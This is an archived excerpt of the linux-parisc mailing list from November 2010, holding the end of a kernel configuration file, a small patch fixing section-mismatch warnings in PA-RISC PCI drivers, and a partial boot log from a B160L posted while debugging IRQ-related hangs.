# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
CONFIG_UIO=m
# CONFIG_UIO_CIF is not set
# CONFIG_UIO_PDRV is not set
# CONFIG_UIO_PDRV_GENIRQ is not set
# CONFIG_UIO_AEC is not set
# CONFIG_UIO_SERCOS3 is not set
# CONFIG_UIO_PCI_GENERIC is not set
# CONFIG_UIO_NETX is not set
# CONFIG_STAGING is not set

#
# File systems
#
CONFIG_EXT2_FS=m
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=m
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
CONFIG_EXT3_FS_XATTR=y
# CONFIG_EXT3_FS_POSIX_ACL is not set
# CONFIG_EXT3_FS_SECURITY is not set
CONFIG_EXT4_FS=m
CONFIG_EXT4_FS_XATTR=y
# CONFIG_EXT4_FS_POSIX_ACL is not set
# CONFIG_EXT4_FS_SECURITY is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD=m
# CONFIG_JBD_DEBUG is not set
CONFIG_JBD2=m
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=m
CONFIG_REISERFS_FS=m
# CONFIG_REISERFS_CHECK is not set
CONFIG_REISERFS_PROC_INFO=y
# CONFIG_REISERFS_FS_XATTR is not set
# CONFIG_JFS_FS is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_XFS_FS=m
# CONFIG_XFS_QUOTA is not set
CONFIG_XFS_POSIX_ACL=y
CONFIG_XFS_RT=y
# CONFIG_XFS_DEBUG is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
CONFIG_BTRFS_FS=m
CONFIG_BTRFS_FS_POSIX_ACL=y
CONFIG_NILFS2_FS=m
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_QUOTA=y
# CONFIG_QUOTA_NETLINK_INTERFACE is not set
CONFIG_PRINT_QUOTA_WARNING=y
# CONFIG_QUOTA_DEBUG is not set
CONFIG_QUOTA_TREE=m
CONFIG_QFMT_V1=m
CONFIG_QFMT_V2=m
CONFIG_QUOTACTL=y
# CONFIG_AUTOFS_FS is not set
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=m
# CONFIG_CUSE is not set

#
# Caches
#
CONFIG_FSCACHE=m
# CONFIG_FSCACHE_STATS is not set
# CONFIG_FSCACHE_HISTOGRAM is not set
# CONFIG_FSCACHE_DEBUG is not set
# CONFIG_FSCACHE_OBJECT_LIST is not set
CONFIG_CACHEFILES=m
# CONFIG_CACHEFILES_DEBUG is not set
# CONFIG_CACHEFILES_HISTOGRAM is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_LOGFS is not set
CONFIG_CRAMFS=y
# CONFIG_SQUASHFS is not set
CONFIG_VXFS_FS=m
CONFIG_MINIX_FS=m
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
CONFIG_ROMFS_FS=m
CONFIG_ROMFS_BACKED_BY_BLOCK=y
CONFIG_ROMFS_ON_BLOCK=y
CONFIG_SYSV_FS=m
CONFIG_UFS_FS=m
# CONFIG_UFS_FS_WRITE is not set
# CONFIG_UFS_DEBUG is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=m
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
# CONFIG_NFS_V4 is not set
# CONFIG_NFS_FSCACHE is not set
CONFIG_NFSD=m
CONFIG_NFSD_V2_ACL=y
CONFIG_NFSD_V3=y
CONFIG_NFSD_V3_ACL=y
# CONFIG_NFSD_V4 is not set
CONFIG_LOCKD=m
CONFIG_LOCKD_V4=y
CONFIG_EXPORTFS=m
CONFIG_NFS_ACL_SUPPORT=m
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=m
CONFIG_SUNRPC_GSS=m
CONFIG_RPCSEC_GSS_KRB5=m
# CONFIG_RPCSEC_GSS_SPKM3 is not set
# CONFIG_SMB_FS is not set
# CONFIG_CEPH_FS is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=m
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_UTF8=m
# CONFIG_DLM is not set

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=2048
CONFIG_MAGIC_SYSRQ=y
# CONFIG_STRIP_ASM_SYMS is not set
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
CONFIG_LOCKUP_DETECTOR=y
# CONFIG_HARDLOCKUP_DETECTOR is not set
# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0
CONFIG_DETECT_HUNG_TASK=y
# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0
CONFIG_SCHED_DEBUG=y
CONFIG_SCHEDSTATS=y
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
CONFIG_DEBUG_SLAB=y
CONFIG_DEBUG_SLAB_LEAK=y
CONFIG_DEBUG_RT_MUTEXES=y
CONFIG_DEBUG_PI_LIST=y
CONFIG_RT_MUTEX_TESTER=y
# CONFIG_DEBUG_SPINLOCK is not set
CONFIG_DEBUG_MUTEXES=y
# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
CONFIG_DEBUG_LOCKING_API_SELFTESTS=y
CONFIG_STACKTRACE=y
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_DEBUG_LIST=y
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
CONFIG_FRAME_POINTER=y
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_CPU_STALL_DETECTOR is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
CONFIG_DEBUG_BLOCK_EXT_DEVT=y
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_LKDTM is not set
# CONFIG_CPU_NOTIFIER_ERROR_INJECT is not set
# CONFIG_FAULT_INJECTION is not set
CONFIG_LATENCYTOP=y
CONFIG_SYSCTL_SYSCALL_CHECK=y
# CONFIG_PAGE_POISONING is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y
# CONFIG_DYNAMIC_DEBUG is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RODATA is not set
# CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not set

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
# CONFIG_CRYPTO_FIPS is not set
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=m
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP=m
CONFIG_CRYPTO_PCOMP2=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
CONFIG_CRYPTO_GF128MUL=m
CONFIG_CRYPTO_NULL=m
# CONFIG_CRYPTO_PCRYPT is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
CONFIG_CRYPTO_TEST=m

#
# Authenticated Encryption with Associated Data
#
CONFIG_CRYPTO_CCM=m
CONFIG_CRYPTO_GCM=m
CONFIG_CRYPTO_SEQIV=m

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
CONFIG_CRYPTO_CTR=m
CONFIG_CRYPTO_CTS=m
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=y
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=m
CONFIG_CRYPTO_GHASH=m
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=m
CONFIG_CRYPTO_MICHAEL_MIC=m
CONFIG_CRYPTO_RMD128=m
CONFIG_CRYPTO_RMD160=m
CONFIG_CRYPTO_RMD256=m
CONFIG_CRYPTO_RMD320=m
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_WP512=m

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
CONFIG_CRYPTO_ANUBIS=m
CONFIG_CRYPTO_ARC4=m
CONFIG_CRYPTO_BLOWFISH=m
# CONFIG_CRYPTO_CAMELLIA is not set
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_DES=m
# CONFIG_CRYPTO_FCRYPT is not set
CONFIG_CRYPTO_KHAZAD=m
CONFIG_CRYPTO_SALSA20=m
# CONFIG_CRYPTO_SEED is not set
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
CONFIG_CRYPTO_ZLIB=m
CONFIG_CRYPTO_LZO=m

#
# Random Number Generation
#
CONFIG_CRYPTO_ANSI_CPRNG=m
CONFIG_CRYPTO_HW=y
CONFIG_CRYPTO_DEV_HIFN_795X=m
# CONFIG_CRYPTO_DEV_HIFN_795X_RNG is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_FIND_LAST_BIT=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=m
CONFIG_CRC_T10DIF=m
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_COMPRESS=m
CONFIG_LZO_DECOMPRESS=y
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=m
CONFIG_TEXTSEARCH_BM=m
CONFIG_TEXTSEARCH_FSM=m
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_NLATTR=y

--gBBFr7Ir9EOA20Yy--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Sat, 20 Nov 2010 16:01:21 -0500
Organization: nrc.ca
Lines: 61
Approved: news@gmane.org
Message-ID: <20101120210120.GA20947@hiauly1.hia.nrc.ca>
References: <20101117052218.GB27930@lackof.org> <20101117160319.984F14DA1@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1290286893 19635 80.91.229.12 (20 Nov 2010 21:01:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 20 Nov 2010 21:01:33 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 20 22:01:29 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PJuYp-0002eT-9E
	for glpp-linux-parisc@lo.gmane.org; Sat, 20 Nov 2010 22:01:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752854Ab0KTVBY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Nov 2010 16:01:24 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2938 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752193Ab0KTVBY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Nov 2010 16:01:24 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 619E44DF2; Sat, 20 Nov 2010 16:01:21 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101117160319.984F14DA1@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3249
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3249>

On Wed, 17 Nov 2010, John David Anglin wrote:

> > On that note, can you try a 32-bit kernel? (SMP maybe)
> 
> rp3440 doesn't support a 32-bit kernel.  I don't have a 32-bit SMP
> machine.  I did try a UP 2.6.36 kernel on my c3750.  It crashed doing
> its first gcc build.  Don't know why.  My 2.6.34.7 build is stable.

I noticed today building a new 32-bit kernel for c3750 that there
are a couple of section mismatches arising from lba_pci.c and superio.c.  

The attached patch fixes the warnings but clearly isn't ideal.
__devinit is supposed to be for modules/hotplug, but some code seems
to use it with .probe.  I couldn't find a good way to fix the warning
from superio.c, so I just removed the __init.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 3aeb327..3a2a7cb 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1303,7 +1303,7 @@ lba_legacy_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 **
 **************************************************************************/
 
-static int __init
+static int __devinit
 lba_hw_init(struct lba_device *d)
 {
 	u32 stat;
@@ -1400,7 +1400,7 @@ static unsigned int lba_next_bus = 0;
  * If so, initialize the chip and tell other partners in crime they
  * have work to do.
  */
-static int __init
+static int __devinit
 lba_driver_probe(struct parisc_device *dev)
 {
 	struct lba_device *lba_dev;
diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index f7806d8..1f2f641 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -455,7 +455,7 @@ static void superio_fixup_pci(struct pci_dev *pdev)
 DECLARE_PCI_FIXUP_EARLY(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, superio_fixup_pci);
 
 
-static int __init
+static int
 superio_probe(struct pci_dev *dev, const struct pci_device_id *id)
 {
 	struct superio_device *sio = &sio_dev;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFT] irq changes (was Re: [git] parisc: Changes to ref refs/heads/parisc)
Date: Sat, 20 Nov 2010 23:01:32 +0100
Lines: 286
Approved: news@gmane.org
Message-ID: <4CE8453C.5020106@gmx.de>
References: <201010140531.o9E5VRYK010123@hera.kernel.org> <20101014153931.GI24144@bombadil.infradead.org> <4CE04DCF.7040306@gmx.de> <20101115195606.GA8332@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1290290508 903 80.91.229.12 (20 Nov 2010 22:01:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 20 Nov 2010 22:01:48 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 20 23:01:43 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PJvV3-0004KD-7x
	for glpp-linux-parisc@lo.gmane.org; Sat, 20 Nov 2010 23:01:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754912Ab0KTWBf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Nov 2010 17:01:35 -0500
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:33340 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with SMTP
	id S1753676Ab0KTWBe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Nov 2010 17:01:34 -0500
Original-Received: (qmail invoked by alias); 20 Nov 2010 22:01:33 -0000
Original-Received: from p54AD0239.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.2.57]
  by mail.gmx.net (mp062) with SMTP; 20 Nov 2010 23:01:33 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/ehM1iAOje6OCV2TvbGEEdE4Q/o2woMzNclhN/qK
	o+Mx3Qd8U1mjZA
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101027 Fedora/3.1.6-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.6
In-Reply-To: <20101115195606.GA8332@bombadil.infradead.org>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3250
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3250>

On 11/15/2010 08:56 PM, Kyle McMartin wrote:
> On Sun, Nov 14, 2010 at 09:59:59PM +0100, Helge Deller wrote:
>> I just got again a chance to boot up my b160L and 715/64 machines.
>>
>> Both broke due to the IRQ changes. I did reverted all of your IRQ
>> patches (based on current Linus head branch) and now they boot
>> again.
>> Basically they just hang during the SCSI initialization (timeouts
>> while detectings discs).
>>
>> So, there is something wrong for Lasi/GSC and Dino busses....
>>
>> Any idea?
>>
> No, but I'll take a look, it's probably something simple and stupid that
> I missed. :/

I tried to look into it, but I'm somewhat lost.

This is what I get on my B160L.
Same result btw on the 715/64.


Booting...
Network Station Address 080009-ef34f5
System IP Address 192.168.178.65
Server IP Address 192.168.178.50

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl 1.13 root@c3000 Mon Apr  3 23:30:38 CEST 2006

Boot image contains:
     0/vmlinux32 7688520 bytes @ 0x9800

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'HOME=/ root=/dev/sda3  ip=bootp 
panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel='
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 
32-bit kernelELF32 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 6172672 mediaptr 0x1000
Segment 1 load 0072c000 size 311016 mediaptr 0x5e4000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.37-rc2-32bit+ (deller@p100.box) (gcc version 4.4.1 
(GCC) ) #282 Sat Nov 20 22:32:27 CET 2010
unwind_init: start = 0x10640000, end = 0x1067f610, entries = 16225
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005020 00000481 00000000 02020202 7794d7fe 100000f0 00000004 
000000ba 000000ba
vers  00000008
CPUID vers 15 rev 8 (0x000001e8)
capabilities 0x2
model 9000/778/B160L
Total Memory: 128 MB
LED display at f0190001 registered
pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768
pcpu-alloc: [0] 0
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 32512
Kernel command line: HOME=/ root=/dev/sda3 pa64root=sda5 ip=bootp 
panic_timeout=60 console=ttyS0 TERM=vt102 palo_kernel=0/vmlx
PID hash table entries: 512 (order: -1, 2048 bytes)
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Memory: 123100k/131072k available (4152k kernel code, 7972k reserved, 
1851k data, 304k init)
virtual kernel memory layout:
     vmalloc : 0x00810000 - 0x0f000000   ( 231 MB)
     memory  : 0x10000000 - 0x18000000   ( 128 MB)
       .init : 0x1072c000 - 0x10778000   ( 304 kB)
       .data : 0x1050e3a0 - 0x106dd170   (1851 kB)
       .text : 0x10100000 - 0x1050e3a0   (4152 kB)
NR_IRQS:96
Console: colour dummy device 128x48
Calibrating delay loop... 106.08 BogoMIPS (lpj=530432)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
xor: measuring software checksum speed
    8regs     :   131.200 MB/sec
    8regs_prefetch:   130.800 MB/sec
    32regs    :   198.800 MB/sec
    32regs_prefetch:   198.400 MB/sec
xor: using function: 32regs (198.800 MB/sec)
atomic64 test passed
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Phantom PseudoBC GSC+ Port at 0xffc00000 [8] { 7, 0x0, 0x504, 0x00000 }
2. Dino PCI Bridge at 0xfff80000 [8/0] { 13, 0x3, 0x680, 0x0000a }
3. Merlin+ 132 Dino RS-232 at 0xfff83000 [8/0/63] { 10, 0x0, 0x022, 
0x0008c }
4. Merlin 160 Core FW-SCSI at 0xfff8c000 [8/12] { 4, 0x0, 0x03d, 0x00089 }
5. Merlin 160 Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x03d, 0x00081 }, 
additional addresses: 0xffd0c000 0xffc00000
6. Merlin 160 Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x03d, 0x0008c }
7. Merlin 160 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x03d, 0x00082 }
8. Merlin 160 Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x03d, 
0x0008a }
9. Merlin 160 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x03d, 
0x00074 }, additional addresses: 0xffd01000 0xffd03000
10. Merlin 160 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03d, 0x0007b }
11. Merlin 160 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x03d, 
0x00084 }
12. Merlin 160 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x03d, 
0x00084 }
13. Coral SGC Graphics at 0xfa000000 [8/4] { 10, 0x0, 0x004, 0x00077 }
14. Coral SGC Graphics at 0xf4000000 [8/8] { 10, 0x0, 0x004, 0x00077 }
15. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 
0x00085 }, additional addresses: 0xf0011000
16. Merlin L2 160 (9000/778/B160L) at 0xfffbe000 [62] { 0, 0x0, 0x502, 
0x00004 }
17. Memory at 0xfffbf000 [63] { 1, 0x0, 0x067, 0x00009 }
18. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096 }
CPU(s): 1 x PA7300LC (PCX-L2) at 160.000000 MHz
Setting cache flush threshold to ac0 (1 CPUs online)
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xfff80000
Dino: No PCI devices enabled.
powersw: Soft power switch at 0xf0140000 enabled.
bio: create slab <bio-0> at 0
raid6: int32x1     59 MB/s
raid6: int32x2     76 MB/s
raid6: int32x4     86 MB/s
raid6: int32x8     58 MB/s
raid6: using algorithm int32x4 (86 MB/s)
vgaarb: loaded
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
Switching to clocksource cr16
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 4096 (order: 3, 32768 bytes)
TCP bind hash table entries: 4096 (order: 4, 81920 bytes)
TCP: Hash tables configured (established 4096 bind 4096)
TCP reno registered
UDP hash table entries: 128 (order: 0, 6144 bytes)
